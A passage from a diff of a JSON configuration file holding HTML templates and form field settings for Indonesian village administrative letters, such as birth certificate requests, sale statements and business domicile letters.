        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>\r\n
        \u00a0<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Perihal :<\/td>\r\nPermohonan Penyelesaian<\/td>\r\n\u00a0<\/td>\r\nKepada<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\nAkta Kelahiran<\/td>\r\nYth,<\/strong><\/td>\r\nKepala Dinas Kependudukan dan Pencatatan<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nSipil [Sebutan_kabupateN] [Nama_kabupateN]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nDi [Nama_kabupateN]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        Yang bertanda tangan di bawah ini :<\/div>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        NIK<\/td>\r\n:<\/td>\r\n[Nik_pelapoR]<\/td>\r\n<\/tr>\r\n
        Nama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/strong><\/td>\r\n<\/tr>\r\n
        Tempat tanggal lahir \/ umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_pelapoR] \/ [Usia_pelapoR]<\/td>\r\n<\/tr>\r\n
        Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_pelapoR]<\/td>\r\n<\/tr>\r\n
        Alamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        Mohon dicatatkan kelahiran dalam register Akta Kelahiran dan diterbitkan kutipan Akta Kelahiran :<\/strong><\/div>\r\n<\/colgroup>\r\n\r\n\r\n\r\n
        No<\/strong><\/td>\r\nNama \/ Jenis Kelamin<\/strong><\/td>\r\nTempat Lahir<\/strong><\/td>\r\nTanggal Lahir<\/strong><\/td>\r\nAnak Ke<\/strong><\/td>\r\nNo dan Tanggal Pendaftaran<\/strong><\/td>\r\n<\/tr>\r\n
        1.<\/td>\r\n[NAma] <\/strong>\/ [Jenis_kelamiN]<\/td>\r\n[Tempat_dilahirkanN]<\/td>\r\n[Tanggal_kelahiraN]<\/td>\r\n[Kelahiran_anaK]<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Dari seorang ibu :<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
        Nama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_ibu]<\/strong><\/td>\r\n<\/tr>\r\n
        NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ibU]<\/td>\r\n<\/tr>\r\n
        Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_ibU] \/ [Usia_ibU]<\/td>\r\n<\/tr>\r\n
        Kewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_ibu]<\/td>\r\n<\/tr>\r\n
        Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
        Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ibU]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Istri dari :<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
        Nama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_ayah]<\/strong><\/td>\r\n<\/tr>\r\n
        NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
        Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_ayaH] \/ [Usia_ayaH]<\/td>\r\n<\/tr>\r\n
        Kewarganegaraan<\/td>\r\n:<\/td>\r\n[Warga_negara_ayaH]<\/td>\r\n<\/tr>\r\n
        Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]<\/td>\r\n<\/tr>\r\n
        Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ayaH]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Saksi 1 :<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
        Nama Lengkap<\/td>\r\n:<\/td>\r\n[Nama_saksi_I]<\/strong><\/td>\r\n<\/tr>\r\n
        NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_saksi_I]<\/td>\r\n<\/tr>\r\n
        Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_saksi_I] \/ [Usia_saksi_I]<\/td>\r\n<\/tr>\r\n
        Kewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_saksi_i]<\/td>\r\n<\/tr>\r\n
        Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_I]<\/td>\r\n<\/tr>\r\n
        Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_saksi_I]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Saksi 2 :<\/strong><\/td>\r\n\u00a0<\/td>\r\n <\/strong><\/td>\r\n<\/tr>\r\n
        Nama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_saksi_ii]<\/strong><\/td>\r\n<\/tr>\r\n
        NIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_saksi_iI]<\/td>\r\n<\/tr>\r\n
        Tempat dan tanggal lahir \/ Umur<\/td>\r\n:<\/td>\r\n[Tempat_tgl_lahir_saksi_iI] \/ [Usia_saksi_iI]<\/td>\r\n<\/tr>\r\n
        Kewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_saksi_ii]<\/td>\r\n<\/tr>\r\n
        Pekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_saksi_iI]<\/td>\r\n<\/tr>\r\n
        Alamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_saksi_iI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>\r\n\r\n\r\n\r\n\r\n
        Terlampir persyaratan sebagai berikut :<\/strong><\/span><\/td>\r\n<\/tr>\r\n
        \r\n
        1. Surat keterangan kelahiran dari penolong atau dari Desa\/Lurah<\/div>\r\n
        2. Fotocopy KTP dan kartu keluarga orang tua<\/div>\r\n
        3. Fotocopy Buku Nikah \/ akta perkawinan orang tua yang telah dilegalisir (bagi yang memiliki)<\/div>\r\n
        4. Fotocopy KTP 2 orang saksi yang masih berlaku<\/div>\r\n
        5. Fotocopy Ijazah \/ Raport (bagi yang memiliki)<\/div>\r\n<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/colgroup>\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \r\n<\/colgroup>\r\n\r\n\r\n\r\n\r\n\r\n
        Verifikasi<\/strong><\/td>\r\nKasi<\/strong><\/td>\r\n<\/tr>\r\n
        Kabid<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n<\/td>\r\n\u00a0<\/td>\r\nPelapor<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pelapoR]<\/strong><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
        \u00a0<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -5707,131 +5665,61 @@ "1" ], "kk_level": [ - "1", - "2", - "3", "4", - "5", "6", - "7", - "8", "9", - "10", "11" ], "data_orang_tua": "0", "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Anak", + "label": "DATA KELAHIRAN", "info": "", - "sebagai": 1, "hubungan": null - } - }, - "kode_isian": null, - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Jual Beli", - "url_surat": "surat-keterangan-jual-beli", - "kode_surat": "S-05", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [FOrmat_nomor_surat]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Yang bersangkutan hendak menjual [Form_rincian_barang]. [Form_jenis_barang] tersebut tidak dalam sengketa dengan pihak lain sehingga dapat dijual kepada pihak ke dua yaitu:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pembeli]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nNomor Identitas<\/td>\r\n:<\/td>\r\n[Nik_pembelI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TeMpatlahir_pembeli], [Tanggallahir_pembelI]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_pembeli]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[AlAmat_pembeli]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan_pembeli]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nKeterangan<\/td>\r\n:<\/td>\r\n[Form_keterangaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Mengetahui,<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Ketua Adat [NaMa_desa]<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [Form_nama_ketua_adaT]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + }, + "ibu": { + "sumber": "1", "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" + "1", + "3" ], + "sex": "2", + "status_dasar": null, "kk_level": [ "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + "3" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Penjual", - "label": "Identitas Penjual", + "judul": "Ibu", + "label": "DATA IBU", "info": "", - "sebagai": 1, - "hubungan": null + "hubungan": "individu" }, - "barang": { - "sumber": 0, + "ayah": { + "sumber": "1", "data": [ - "1" - ], - "sex": "", - "status_dasar": [ "1", - "2", - "3", - "4", - "6", - "9" + "3" ], + "sex": "1", + "status_dasar": null, "kk_level": [ "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + "2" ], - "judul": "Barang", - "label": "Barang Jual Beli", + "judul": "Ayah", + "label": "DATA AYAH", "info": "", - "sebagai": 0, - "hubungan": "" + "hubungan": "individu" }, - "pembeli": { - "sumber": 1, + "Pelapor": { + "sumber": "1", "data": [ "1", "3" ], "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" + "1" ], "kk_level": [ "1", @@ -5846,101 +5734,16 @@ "10", "11" ], - "judul": "Pembeli", - "label": "Identitas Pembeli", - "info": "", - "sebagai": 0, - "hubungan": "" - } - }, - "kode_isian": [ - { - "kategori": "barang", - "tipe": "text", - "kode": "[form_jenis_barang]", - "nama": "Jenis Barang", - "deskripsi": "Jenis Barang", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Jenis Barang", - "kaitkan_kode": "" - }, - { - "kategori": "barang", - "tipe": "text", - "kode": "[form_rincian_barang]", - "nama": "Rincian Barang", - "deskripsi": "Rincian Barang", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Rincian Barang", - "kaitkan_kode": "" - }, - { - "kategori": "pembeli", - "tipe": "textarea", - "kode": "[form_keterangan]", - "nama": "Keterangan", - "deskripsi": "Keterangan", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Keterangan", - "kaitkan_kode": "" - }, - { - "kategori": "pembeli", - "tipe": "text", - "kode": "[form_nama_ketua_adat]", - "nama": "Nama Ketua Adat", - "deskripsi": "Nama Ketua Adat", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Nama Ketua Adat", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan JAMKESOS", - "url_surat": "surat-keterangan-jamkesos", - "kode_surat": "S-15", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nKeperluan<\/td>\r\n:<\/td>\r\n[Form_keperluan]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut adalah benar-benar warga [SeButan_desa] [NaMa_desa] dengan data seperti di atas, dari keluarga kurang mampu pemegang Kartu Peserta Jamkesos No. [form_no_kartu_jamkesos].<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + "judul": "Pelapor", + "label": "DATA PELAPOR", + "info": "", + "hubungan": "" + }, + "Saksi_I": { + "sumber": "1", "data": [ - "1" + "1", + "3" ], "sex": "", "status_dasar": [ @@ -5959,74 +5762,16 @@ "10", "11" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Saksi 1", + "label": "DATA SAKSI 1", "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ - { - "tipe": "text", - "kode": "[form_no_kartu_jamkesos]", - "nama": "No Kartu JAMKESOS", - "deskripsi": "Masukkan No. Kartu JAMKESOS", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" + "hubungan": "" }, - { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", - "required": "1", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Domisili Usaha", - "url_surat": "surat-keterangan-domisili-usaha", - "kode_surat": "S-16", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_kk]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] yang memiliki usaha [Form_nama_usaha] di [AlamaT], [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten].

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + "Saksi_II": { + "sumber": "1", "data": [ "1", - "3" + "2" ], "sex": "", "status_dasar": [ @@ -6045,21 +5790,19 @@ "10", "11" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", + "judul": "Saksi 2", + "label": "DATA SAKSI 2", "info": "", - "sebagai": 1, - "hubungan": null + "hubungan": "" } }, "kode_isian": [ { + "kategori": "Pelapor", "tipe": "text", - "kode": "[form_nama_usaha]", - "nama": "Nama Usaha", - "deskripsi": "Masukkan Nama \/ Jenis usaha", + "kode": "[form_hubungan_pelapor_dengan_bayi]", + "nama": "Hubungan Pelapor dengan Bayi", + "deskripsi": "Hubungan Pelapor dengan Bayi", "required": "1", "atribut": null, "pilihan": null, @@ -6079,21 +5822,22 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Pernyataan Belum Memiliki Akta Lahir", - "url_surat": "surat-pernyataan-belum-memiliki-akta-lahir", - "kode_surat": "S-19", - "lampiran": null, + "nama": "Keterangan Pindah Penduduk", + "url_surat": "surat-keterangan-pindah-penduduk", + "kode_surat": "S-04", + "lampiran": "F-1.03,F-1.08,F-1.25,F-1.27", "kunci": false, "favorit": false, "jenis": "3", - "mandiri": true, + "mandiri": false, "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, + "satuan_masa_berlaku": "d", + "qr_code": false, "logo_garuda": false, "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Dengan orang tua:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[NaMa_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nNIK \/ No. KTP Ayah<\/td>\r\n:<\/td>\r\n[Nik_ayah]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[NaMa_ibu]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nNIK \/ No. KTP Ibu<\/td>\r\n:<\/td>\r\n[Nik_ibu]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Adalah benar-benar warga [SeButan_desa] [NaMa_desa] dan belum pernah memiliki Akta Kelahiran.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya untuk dapat dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

